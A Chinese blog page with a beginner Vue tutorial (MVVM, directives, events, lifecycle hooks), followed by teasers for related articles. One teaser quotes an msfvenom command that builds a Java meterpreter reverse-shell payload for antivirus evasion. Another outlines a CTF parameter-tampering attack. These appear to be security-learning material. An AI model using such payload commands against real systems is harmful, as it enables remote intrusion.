当前位置： 首页 > news >正文

Vue基础入门---详细简介

news 2025/10/16 6:43:30

一，对Vue的概念

1.1 什么是Vue ？

       一种流行的JavaScript前端框架，用于构建交互式的Web应用程序。它以简洁、灵活和高效的特性而受到广泛欢迎。Vue采用了一种响应式的数据绑定机制，使得数据的变化能够自动更新相关的DOM元素，同时也提供了一套简洁明了的语法和API，使得开发人员能够更轻松地构建和维护复杂的用户界面

总而言之，Vue是一种功能强大且易于学习的前端框架，适用于开发各种规模的Web应用程序，从简单的页面增强到复杂的单页面应用

1.2  使用Vue的好处

简洁易学：提供了简洁的API和清晰的文档，使得学习和上手变得相对容易。

响应式：使用了响应式的数据绑定机制，当数据发生变化时，自动更新相关的DOM元素，减少了手动操作DOM的繁琐。

组件化开发：鼓励组件化开发，将界面拆分为独立可复用的组件，提高了代码的可维护性和可重用性。

生态系统：拥有强大的生态系统，包括Vue Router、Vuex等插件和工具，能够满足不同规模项目的需求。

性能优化：通过虚拟DOM和精细的更新策略，提高了应用程序的性能，并保持了灵活性和开发效率

二，Vue的基础入门

2.1 MVVM（数据双向绑定）

      在使用之前我们先来了解一下什么是MVVM？，简单来说它一种更好的UI模式解决方案，MVVM可以通过数据双向绑定让数据自动地双向同步        

MVVM    M-V-VM

MVVMM-V-VM
M

model数据模型

V

view视图

VMViewModel视图模型，把Model和view关联起来就是ViewModel，viewModel负责把Model的数据同步到View显示出来，还负责把View的修改同步回Model

 1) V（修改数据） --> M  将视图层的数据通过事件将数据提交到后端服务器(前端到后端)
      $('#btn_login').click(function(){
         通过ajax将页面中的数据通过json格式传递到后端服务器
     })

   2) M（修改数据）-> V  将后端数据（JSON）通过赋值的方式在视图层展现(后端到前端)  
      通过ajax的方式调用后端的数据接口将回传过来的JSON数据渲染到页面
      $('#book_name').val("xxx");

        相比之下MVC模式，MVVM模型是一种更现代化的架构模式，它在MVC模式的基础上引入了一个新的组件：视图模型（ViewModel）。MVVM模式将应用程序分为四个主要组件：模型（Model）、视图（View）、视图模型（ViewModel）和数据绑定（Data Binding）。模型负责处理数据和业务逻辑，视图负责展示用户界面，视图模型则充当模型和视图之间的中介，负责处理视图的状态和行为。数据绑定机制使得视图和视图模型之间的数据同步更加简单和自动化。MVVM模式的优点是将视图和业务逻辑分离，使得代码更易于维护和测试，并且通过数据绑定机制提供了更好的用户界面交互体验。

2.2 BootCDN（加速服务）

官方网址：BootCDN - Bootstrap 中文网开源项目免费 CDN 加速服务 

BootCDN是一个免费的CDN加速服务，致力于为Bootstrap、jQuery、React、Vue.js一样优秀的前端开源项目提供稳定、快速的免费CDN加速服务。BootCDN所收录的开源项目主要同步于cdnjs。你可以通过BootCDN提供的链接直接使用这些开源库，而无需下载到本地，从而加快页面的加载速度 。

三，Vue实例

3.1 Vue开发示例

导入相对应的工具，在BootCDN供的链接直接使用这些开源库copy即可

<script src="https://cdn.bootcdn.net/ajax/libs/jquery/3.7.1/jquery.js"></script>
<script src="https://cdn.bootcdn.net/ajax/libs/vue/2.6.10/vue.js"></script>

注：

1. 每个Vue应用都是通过用Vue构造器创建一个新的Vue实例开始的。
2. 需要给vue指定一个内容管理区，通常我们也把它叫做边界，这意味着我们接下来的改动全部在指定的div内，div外部无用。
3. 双花括号叫做插值

1 定义边界

         <div id="Bing">{{msg}}</div>

2 创建Vue实例 

	<body><script type="text/javascript">  new Vue({el:"#Bing",data(){return  {msg:'Hello Bing!'}}})</script></body>

 3.2  Vue的基本语法

  1. vue指令：指的是是带有“v-”前缀的特殊属性
  2. vue实例的methods用来定义交互事件使用的函数,函数名不限制

①v-model

        在Vue中，v-model是一个指令，用于在表单控件元素上创建双向数据绑定。它实际上是语法糖，等同于v-bind和v-on的结合体

定义边界

	<!--定义vue管理的边界，有且只有一个根节点---><div id="Bing">{{msg}}<input v-model="msg"><br/></div>

Vue实例：

    <script type="text/javascript">  		  <!--构建vue实例并绑定边界-->new Vue({el:"#Bing",data(){return  {msg:'Bing!'}}})

②v-bind：value

        在Vue中，v-bind是一个指令，用于将元素的属性与Vue实例的数据进行绑定。其中，：value是v-bind的一个参数，表示要绑定的属性名

③事件绑定

<!--完整写法-->
<button v-on:事件名="函数名/vue表达式">点我</button>
<!--简化写法-->
<button @事件名="函数名/vue表达式">点我</button>

Vue支持html中所有已知事件. 如: @click, @submit等, 只不过是将之前的on全部换成了@

如button中的@click

<!DOCTYPE html>
<html><head><meta charset="utf-8"><title></title><!--导入相对应的工具--><script src="https://cdn.bootcdn.net/ajax/libs/jquery/3.7.1/jquery.js"></script><script src="https://cdn.bootcdn.net/ajax/libs/vue/2.6.10/vue.js"></script></head><body><!--定义vue管理的边界，有且只有一个根节点---><div id="Bing"><!-- {{msg}} --><input :value="msg"><br/><button @click="tan()">点击我弹出输入框内容</button></div><script type="text/javascript">  <!--构建vue实例并绑定边界-->new Vue({el:"#Bing",data(){return  {msg:'Bing!'}},methods:{tan(){alert(this.msg)}}})</script></body>
</html>

四，Vue的生命周期 

   Vue生命周期钩子是在Vue实例的不同阶段执行的回调函数。这些钩子函数允许我们在特定的生命周期阶段执行自定义逻辑，以便在应用程序的不同阶段进行初始化、更新和销毁操作。

以下是Vue的生命周期钩子函数：

beforeCreate：在实例被创建之前调用，此时数据观测和事件配置尚未完成。

created：在实例创建完成后调用，此时已完成数据观测，但尚未挂载到DOM上。

beforeMount：在实例挂载到DOM之前调用。

mounted：在实例挂载到DOM后调用，此时可以访问到DOM元素。

beforeUpdate：在数据更新之前调用，发生在虚拟DOM重新渲染和打补丁之前。

updated：在数据更新之后调用，发生在虚拟DOM重新渲染和打补丁之后。

beforeDestroy：在实例销毁之前调用，此时实例仍然完全可用。

destroyed：在实例销毁之后调用，此时实例已被销毁，所有的事件监听器和子实例也被移除。
 

Vue生命周期图:

相关文章：

Vue基础入门---详细简介

一&#xff0c;对Vue的概念 1.1 什么是Vue &#xff1f; 一种流行的JavaScript前端框架&#xff0c;用于构建交互式的Web应用程序。它以简洁、灵活和高效的特性而受到广泛欢迎。Vue采用了一种响应式的数据绑定机制&#xff0c;使得数据的变化能够自动更新相关的DOM元素&#x…...

编程日记 2023/9/21 19:56:36

Qt重写QTreeWidget实现拖拽

介绍 此文章记录QTreeWidget的重写进度&#xff0c;暂时停滞使用&#xff0c;重写了QTreeWidget的拖拽功能&#xff0c;和绘制功能&#xff0c;自定义了数据结构&#xff0c;增加复制&#xff0c;粘贴&#xff0c;删除&#xff0c;准备实现动态刷新数据支持千万数据动态刷新&a…...

编程日记 2023/9/21 19:55:35

【Spring Boot】拦截器学习笔记

一、普通拦截器 1&#xff0c;新建类MyWebConfig实现WebMvcConfigurer&#xff0c;实现addInterceptors方法 Overridepublic void addInterceptors(InterceptorRegistry registry) {registry// 不拦截哪些请求.excludePathPatterns("/login")// 拦截哪些请求.addPat…...

编程日记 2023/9/21 19:54:34

云可观测性：提升云环境中应用程序可靠性

随着云计算的兴起和广泛应用&#xff0c;越来越多的企业将其应用程序和服务迁移到云环境中。在这个高度动态的环境中&#xff0c;确保应用程序的可靠性和可管理性成为了一个迫切的需求。云可观测性作为一种解决方案&#xff0c;针对这一需求提供了有效的方法和工具。本文将介绍…...

编程日记 2023/9/21 19:53:34

免杀对抗-java语言-shellcode免杀-源码修改+打包exe

JAVA-ShellCode免杀-源码修改&打包EXE Shellcode-生成/上线 1.msf生成shellcode 命令&#xff1a;msfvenom -p java/meterpreter/reverse_tcp LHOSTx.x.x.x LPORTxxxx -f jar -o msf.jar 2.msf设置监听 3.执行msf生成的shellcode jar包&#xff0c;成功上线 命令&#xff1…...

编程日记 2023/9/21 19:51:32

抖音、知乎、小红书的流量算法

目前我国网民规模已超过10亿&#xff0c;在这互联网时代&#xff0c;更是流量为王。各个平台里的每个视频、每张图片&#xff0c;背后都有着算法的身影&#xff0c;支配着所有人的流量。作为内容创作者及运营者来说&#xff0c;除了制作高质量的内容以外&#xff0c;也需要掌握…...

编程日记 2023/9/21 19:50:32

c++ 纯虚函数、抽象类

一、 纯虚函数 抽象类 只要有一个纯虚函数&#xff0c;这个类称为抽象类 抽象类的特点 1、无法实例化 2、抽象类的子类&#xff0c;必须要重写父类中的纯虚函数&#xff0c;否者也属于抽象类 例子一 #include <iostream> #include <string.h> using namespa…...

编程日记 2023/9/21 19:49:31

echarts另外存为图片

今天同事画了个Echarts,我看了下居然有下载功能&#xff01;&#xff01;&#xff01;&#xff01;&#xff08;之前一直不知道&#xff09; 这是原图&#xff0c;右上角有个下载功能&#xff0c; 下载后是这样的 貌似是没有了y轴的参数和x轴的参数&#xff0c;估计是可以配置的…...

编程日记 2023/9/21 19:47:29

Mybatis返回自动递增主键值，通过实体

如果你在数据库中使用了自动递增的主键&#xff08;通常是整数类型&#xff09;&#xff0c;你可以使用 MyBatis 来返回插入记录后生成的自动递增的 ID。这里是一个示例&#xff1a; 首先&#xff0c;在你的 SQL 映射文件中&#xff0c;使用 <insert> 元素来执行插入操作…...

编程日记 2023/9/21 19:46:27

如何在 Excel 中求平方根

需要在 Excel 中求一个数字的平方根吗&#xff1f;使用几个内置的 Excel 函数和公式可以轻松计算平方根。在本分步指南中&#xff0c;您将学习在 Excel 中计算平方根的 5 种不同方法&#xff0c;包括使用 SQRT 函数、POWER 函数、指数公式、VBA 代码和 Power Query。跟随教程&a…...

编程日记 2023/9/21 19:43:25

苹果手机无法正常使用小程序和APP

小程序、APP 已使用了几年&#xff0c;突然大量反馈&#xff1a;苹果手机无法正常使用。但不是全部&#xff0c;只是部分手机。 因为同事苹果手机都能用&#xff0c;所以无法准确判断具体原因。 后来同事苹果手机也无法使用了&#xff0c;显示&#xff1a; 网上搜索结果&…...

编程日记 2023/9/21 19:41:23

【Axure教程】用中继器制作双坐标柱状折线图

双坐标柱状折线图常用于同时展示两组数据的图表类型&#xff0c;每组数据都有自己的纵坐标轴&#xff08;Y轴&#xff09;。一组数据通常用柱状图表示&#xff0c;而另一组数据则用折线图表示。这种图表类型有助于比较两组数据之间的关系和趋势。 那今天作者就教大家&#xff…...

编程日记 2023/9/21 19:38:21

C 风格文件输入/输出---错误处理---(std::clearerr，std::feof，std::ferror，std::perror)

C 标准库的 C I/O 子集实现 C 风格流输入/输出操作。 <cstdio> 头文件提供通用文件支持并提供有窄和多字节字符输入/输出能力的函数&#xff0c;而 <cwchar>头文件提供有宽字符输入/输出能力的函数。 错误处理 清除错误 std::clearerr void clearerr( std::FILE…...

编程日记 2023/9/21 19:37:20

mysql 主从复制 mysql版本5.7.35

文章目录 1.注意要点2.环境3.MySQL 主从配置的步骤&#xff1a;主从库新增DB主服务配置my.cnf从服务配置my.cnf主服务器创建复制用户从服务器执行复制 外传 MySQL 主从复制&#xff08;Master-Slave Replication&#xff09;是一个常用的高可用性和可扩展性解决方案。通过主从复…...

编程日记 2023/9/21 19:36:19

iOS“超级签名”绕过App Store作弊解决方案

一直以来&#xff0c;iOS端游戏作弊问题都是游戏行业的一大痛点。在当下游戏多端互通的潮流下&#xff0c;游戏作为一个整体&#xff0c;无论哪一端出现安全问题&#xff0c;都会造成更加严重的影响。因此&#xff0c;iOS端游戏安全保护也同样十分重要。 iOS独特的闭源生态&am…...

编程日记 2023/9/21 19:33:17

I2C子系统、读取温湿度的逻辑及代码

一、IIC子系统 两根线&#xff1a; scl:时钟线 sda:数据线 iic有4种信号&#xff1a; 起始信号&#xff08;start&#xff09;:scl是高电平&#xff0c;sda下降沿 终止信号&#xff08;stop&#xff09;:scl高电平&#xff0c;sda上升沿 应答信号&#xf…...

编程日记 2023/9/21 19:32:16

数据结构——排序

排序算法 前言一、认识排序排序的概念常见的排序算法排序实现的接口 二、常见排序算法的实现插入排序直接插入排序希尔排序 选择排序直接选择排序堆排序 交换排序冒泡排序 三、各个排序的效率比较四、完整代码演示&#xff1a;shell_insert.hshell_insert.ctest.c 总结 前言 来…...

编程日记 2023/9/21 19:30:14

资深java面试题及答案整理

编写 Java 程序时, 如何在 Java 中创建死锁并修复它&#xff1f; 经典但核心Java面试问题之一。 如果你没有参与过多线程并发 Java 应用程序的编码&#xff0c;你可能会失败。 如何避免 Java 线程死锁&#xff1f; 如何避免 Java 中的死锁&#xff1f;是 Java 面试的热门问题之…...

编程日记 2023/9/21 19:29:14

buuctf-[网鼎杯 2020 朱雀组]phpweb

1.打开网站&#xff0c;吓我一跳 2.查看源代码&#xff0c;主要看到timezone&#xff0c;然后这个页面是五秒就会刷新一次 一开始去搜了这个&#xff0c;但是没什么用 3.使用bp抓包 会发现有两个参数&#xff0c;应该是用func来执行p 4.修改func和p file_get_contents&#…...

编程日记 2023/9/21 19:28:13

SpringBoot实战（二十四）集成 LoadBalancer

目录 一、简介1.定义2.取代 Ribbon3.主要特点与功能4.LoadBalancer 和 OpenFeign 的关系 二、使用场景一&#xff1a;Eureka LoadBalancer服务A&#xff1a;loadbalancer-consumer 消费者1.Maven依赖2.application.yml配置3.RestTemplateConfig.java4.DemoController.java 服务…...

编程日记 2023/9/21 19:27:12

conda相比python好处

Conda 作为 Python 的环境和包管理工具&#xff0c;相比原生 Python 生态&#xff08;如 pip 虚拟环境&#xff09;有许多独特优势&#xff0c;尤其在多项目管理、依赖处理和跨平台兼容性等方面表现更优。以下是 Conda 的核心好处&#xff1a; 一、一站式环境管理&#xff1a…...

编程新知 2025/10/3 9:34:33

智慧工地云平台源码，基于微服务架构+Java+Spring Cloud +UniApp +MySql

智慧工地管理云平台系统&#xff0c;智慧工地全套源码&#xff0c;java版智慧工地源码&#xff0c;支持PC端、大屏端、移动端。 智慧工地聚焦建筑行业的市场需求&#xff0c;提供“平台网络终端”的整体解决方案&#xff0c;提供劳务管理、视频管理、智能监测、绿色施工、安全管…...

编程新知 2025/10/16 3:33:18

dedecms 织梦自定义表单留言增加ajax验证码功能

增加ajax功能模块&#xff0c;用户不点击提交按钮&#xff0c;只要输入框失去焦点&#xff0c;就会提前提示验证码是否正确。 一&#xff0c;模板上增加验证码 <input name"vdcode"id"vdcode" placeholder"请输入验证码" type"text&quo…...

编程新知 2025/10/12 22:33:46

[ICLR 2022]How Much Can CLIP Benefit Vision-and-Language Tasks?

论文网址&#xff1a;pdf 英文是纯手打的&#xff01;论文原文的summarizing and paraphrasing。可能会出现难以避免的拼写错误和语法错误&#xff0c;若有发现欢迎评论指正&#xff01;文章偏向于笔记&#xff0c;谨慎食用 目录 1. 心得 2. 论文逐段精读 2.1. Abstract 2…...

编程新知 2025/10/14 12:40:11

Qt Http Server模块功能及架构

Qt Http Server 是 Qt 6.0 中引入的一个新模块&#xff0c;它提供了一个轻量级的 HTTP 服务器实现&#xff0c;主要用于构建基于 HTTP 的应用程序和服务。 功能介绍&#xff1a; 主要功能 HTTP服务器功能&#xff1a; 支持 HTTP/1.1 协议 简单的请求/响应处理模型 支持 GET…...

编程新知 2025/9/26 17:47:06

【2025年】解决Burpsuite抓不到https包的问题

环境&#xff1a;windows11 burpsuite:2025.5 在抓取https网站时&#xff0c;burpsuite抓取不到https数据包&#xff0c;只显示&#xff1a; 解决该问题只需如下三个步骤&#xff1a; 1、浏览器中访问 http://burp 2、下载 CA certificate 证书 3、在设置--隐私与安全--…...

编程新知 2025/10/10 5:08:37

VTK如何让部分单位不可见

最近遇到一个需求&#xff0c;需要让一个vtkDataSet中的部分单元不可见&#xff0c;查阅了一些资料大概有以下几种方式 1.通过颜色映射表来进行&#xff0c;是最正规的做法 vtkNew<vtkLookupTable> lut; //值为0不显示&#xff0c;主要是最后一个参数&#xff0c;透明度…...

编程新知 2025/9/22 18:49:24

零基础设计模式——行为型模式 - 责任链模式

第四部分&#xff1a;行为型模式 - 责任链模式 (Chain of Responsibility Pattern) 欢迎来到行为型模式的学习&#xff01;行为型模式关注对象之间的职责分配、算法封装和对象间的交互。我们将学习的第一个行为型模式是责任链模式。 核心思想&#xff1a;使多个对象都有机会处…...

编程新知 2025/10/7 2:54:27

管理学院权限管理系统开发总结

文章目录 &#x1f393; 管理学院权限管理系统开发总结 - 现代化Web应用实践之路&#x1f4dd; 项目概述&#x1f3d7;️ 技术架构设计后端技术栈前端技术栈 &#x1f4a1; 核心功能特性1. 用户管理模块2. 权限管理系统3. 统计报表功能4. 用户体验优化 &#x1f5c4;️ 数据库设…...

编程新知 2025/10/15 4:30:06

C++使用 new 来创建动态数组

问题&#xff1a; 不能使用变量定义数组大小 原因&#xff1a; 这是因为数组在内存中是连续存储的&#xff0c;编译器需要在编译阶段就确定数组的大小&#xff0c;以便正确地分配内存空间。如果允许使用变量来定义数组的大小&#xff0c;那么编译器就无法在编译时确定数组的大…...

编程新知 2025/9/28 3:34:36